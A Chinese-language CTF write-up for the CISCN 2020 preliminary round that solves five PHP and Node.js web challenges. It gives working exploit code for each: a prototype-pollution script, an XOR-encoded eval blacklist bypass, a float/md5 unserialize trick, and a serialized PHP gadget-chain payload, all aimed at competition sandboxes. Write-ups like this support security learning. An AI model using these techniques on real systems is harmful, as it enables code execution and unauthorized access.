0%

ciscn初赛 2020

一次躺赢的比赛

一队wp:传送门

y1ng师傅wp:传送门

easyphp

源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
// 创建子进程错误,返回-1
die('could not fork');
}else if ($pid){
// 父进程会得到子进程号,所以这里是父进程执行的逻辑
$r=pcntl_wait($status);
// 父进程必须等待一个子进程退出后,再创建下一个子进程。
if(!pcntl_wifexited($status)){//检查状态代码是否代表一个正常的退出。
//返回值当子进程状态代码代表正常退出时返回 TRUE ,其他情况返回 FALSE。
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
//向当前进程发送SIGUSR1信号
}

主要是想进入phpinfo这里子句里面,也就是要让pcntl_wifexited($status)为FALSE

可以给a传fsockopen造成异步,使得当前线程退出,父线程就运行了phpinfo

1
http://eci-2ze6ie6rtdjibnmrjlx4.cloudeci1.ichunqiu.com/?a=fsockopen&b=1

在phpinfo页面发现flag。

littlegame

给了源码附件,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});

可以看到路由/DeveloperControlPanel如果Admin[key] === password就会输出flag,然后

路由/Privilege先检查req.session.knight req.body.NewAttributeKeyreq.body.NewAttributeValue是否未定义,当然这里的keyvalue都是可控的,然后下面有个关键点就是setFn(req.session.knight, key, value);这里setFn用了require('set-value');这个模块。也就是往req.session.knight添加一个键值对。

这里想到用原型链污染,进行污染对象原型,从而可以修改Admin的key和password。

先访问/SpawnPoint生成session

1
http://eci-2ze9505q64pi62k5m16h.cloudeci1.ichunqiu.com:8888/SpawnPoint

然后在Privilege进行原型链污染,再在/DeveloperControlPanel输入值即可获取flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import json
headers = {
"Content-Type":"application/json",
'Cookie':'__jsluid_h=b34fa3669aa578dc0618e3f9aa1c3a45; session=s:zvjsKzwgmvmxjeoGEWv8F5SimfB6LlQD.YrK/DLOjKSGHC2HJpOHGiV/cmaurt2/fpbrwMle3nLM'
}
url = "http://eci-2ze6ie6rtdji62dm1xo6.cloudeci1.ichunqiu.com:8888/Privilege"
data = {"NewAttributeKey":'abcd',"NewAttributeValue":'__proto__.[abcd]'}
r= requests.session()
r = requests.post(url,data=json.dumps(data),headers=headers)

url = "http://eci-2ze6ie6rtdji62dm1xo6.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel"
data = {"key":'abcd',"password":'abcd'}
r= requests.session()
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

rceme

源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
 <?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

先看到parserIfLabel函数里的正则

1
{if:([\s\S]+?)}([\s\S]*?){end\s+if}

其中[\s\S]表示通配,看到后面有一个eval函数,尝试是否可以写进函数。

这里随便试一下可以发现,这个正则式可以匹配的。

image-20200821150736049

这里在本地测试把danger_key过滤函数去掉之后发现,再传phpinfo

直接出现phpinfo()的页面

image-20200821093807478

然后就是绕过danger_key,这里过滤php以及一些函数等等,尝试用异或构造字符。

异或构造phpinfo()

1
('4:49:R9'^'DRDPT4V')()//phpinfo()

payload

1
http://eci-2zebqdx3ky4mu3qy28yg.cloudeci1.ichunqiu.com/?a={if:%20(%274:49:R9%27^%27DRDPT4V%27)()}(){end%20%20%20if}

直接在phpinfo里面发现flag。

easytrick

源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

这里发现需要$trick1$trick2不相等,但是md5值相等的强绕过,还限制了长度不能超过5,而且$trick1被转为了string,数组绕过发现不可行。

这里就是两个不同类型的变量,一个float,一个string,在做比较时不相等,在md5处理时相等。这里可以用php的INF(无穷大)。

构造序列化

1
2
3
4
5
6
7
8
<?php
class trick{
public $trick1=1/0;
public $trick2=1/0;
}

$a = new trick();
echo serialize($a);

payload

1
http://eci-2zei1qumnps7gku8ou0x.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}

回显看到flag。

babyunserialize

WMCTF的链,改改就能用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace DB{
abstract class Cursor implements \IteratorAggregate {}
}

namespace CLI{
class Agent {
protected $server="";
public $events;
public function __construct(){
$this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
$this->server=$this;

}
}
class WS{}
}

namespace DB\SQL{
class Mapper extends \DB\Cursor{
protected
$props=["quotekey"=>"phpinfo"],
$adhoc=[-1=>["expr"=>"kawi"]],
$db;
function offsetExists($offset){}
function offsetGet($offset){}
function offsetSet($offset, $value){}
function offsetUnset($offset){}
function getIterator(){}
function __construct($val){
$this->db = $val;
}
}
}

namespace {
echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));

}

payload

1
http://eci-2ze0y4x958n38d0jl6pv.cloudeci1.ichunqiu.com/?flag=a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22CLI%5CWS%22%3A0%3A%7B%7Di%3A1%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A3%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A4%3A%22kawi%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A4%3A%22kawi%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D

flag在phpinfo里面。